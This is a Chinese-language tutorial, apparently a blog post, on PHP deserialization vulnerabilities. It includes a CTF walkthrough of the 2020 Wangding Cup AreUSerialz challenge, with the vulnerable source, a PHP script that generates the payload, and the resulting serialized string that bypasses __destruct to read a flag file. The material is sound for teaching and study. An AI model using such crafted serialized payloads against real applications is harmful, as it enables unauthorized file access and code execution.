PHP反序列化漏洞详解(含靶场实战)

简介

PHP反序列化漏洞的本质不是函数本身有问题,而是反序列化的数据源不可信 + PHP 类中存在 "魔术方法" 被恶意触发,最终导致攻击者可以通过构造恶意的序列化字符串,控制反序列化后的对象行为,执行任意代码、读取文件、删除数据等恶意操作。

序列化就是将⼀个对象转换成⼀个字符串,反序列化就是将字符串还原成⼀个对象。

PHP中的魔术方法:

最常用的类型序列化:

其它序列化格式:

  • json字符串 json_encode
  • xml字符串 wddx_serialize_value
  • 二进制格式
  • 字节数组

注意点:

  • 如果传递的字符串不可以序列化,则返回 FALSE
  • 如果对象没有预定义,反序列化得到的对象是 __PHP_Incomplete_Class

序列化的作用:

  • 传输对象
  • 用作缓存(Cookie、Session)

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
出现反序列化漏洞的三个必备条件:

  • unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
  • 脚本中定义了Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
  • 操作的内容需要有对象中的成员变量的值,比如filename

常见利用函数:

利用方式:序列化一个对象,修改成员变量的值,达到操作其他文件或者执行命令的目的。

防御方法:

  • 针对unserialize和Magic函数审计
  • 对用户输入的内容过滤
  • 白名单,限制反序列化的类;不能动态传参

实战(2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz)

下载网站给的两个php文件

php 复制代码
<?php
class NewFlag {
   public static function getFlag($fileName) {
	   $res = "flag error";
	   if($fileName ==="NewFlag.php") {
	      $res = "flag:{this is flag}";
	   }
	   return $res;
   }
}
?>
php 复制代码
<?php

include("NewFlag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

	// 构造方法 FileHandler类被new 会调用此函数
    function __construct() { // 老师没有看到 类似于 new FileHandler
        $op = "1";
        $filename = "tmpfile";
        $content = "Hello World!";
        $this->process();
    }

	// 这个是重点2 【1就写    2就读(目的:让代码读取我的需求)】
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = NewFlag::getFlag($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

	// 这个是重点1
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

// 唯一触发 ctf2.php 的 地方
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str); // __wakeup
    }
} // __destruct
?>

网站的入口很显然就在最下面,参数是str,由于unserialize()函数会调用__wakeup()函数,我们再去寻找这个函数,发现没有。根据经验,我们知道程序结束时会自动调用__destruct()函数,发现这个函数会调用process()函数,而process()函数又调用了write()函数和read()函数,read()函数就能够读取到flag。

在__destruct()方法中,为了执行process()方法,我们选择用空格2,即" 2"绕过。再把私有属性改成公有属性,最终,简化后的php代码如下:

php 复制代码
<?php
class FileHandler {
    public $op=" 2";
    public $filename="NewFlag.php";
    public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>

利用它生成一段序列化的字符串:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";},放在str参数后即可。

相关推荐
阿猿收手吧!3 小时前
【C++】volatile与线程安全:核心区别解析
java·c++·安全
青岑CTF3 小时前
攻防世界-Php_rce-胎教版wp
开发语言·安全·web安全·网络安全·php
跨境摸鱼4 小时前
用“内容+投放+运营”打出增长曲线
大数据·安全·跨境电商·亚马逊·内容营销
啥都想学点4 小时前
kali 基础介绍(Impact、Forensics)
安全·网络安全
Coder个人博客6 小时前
Linux6.19-ARM64 mm init子模块深入分析
linux·安全·车载系统·系统架构·系统安全·鸿蒙系统·安全架构
数据库安全6 小时前
美创以数据安全能力助推可信数据空间安全建设!
安全
恒星科通6 小时前
隧道调频广播覆盖系统:隧道无线广播技术赋能行车安全升级
安全·广播·应急广播
小虎牙^O^6 小时前
2025春秋杯网络安全联赛冬季赛WP
安全·web安全
智驱力人工智能6 小时前
货车违规变道检测 高速公路安全治理的工程实践 货车变道检测 高速公路货车违规变道抓拍系统 城市快速路货车压实线识别方案
人工智能·opencv·算法·安全·yolo·目标检测·边缘计算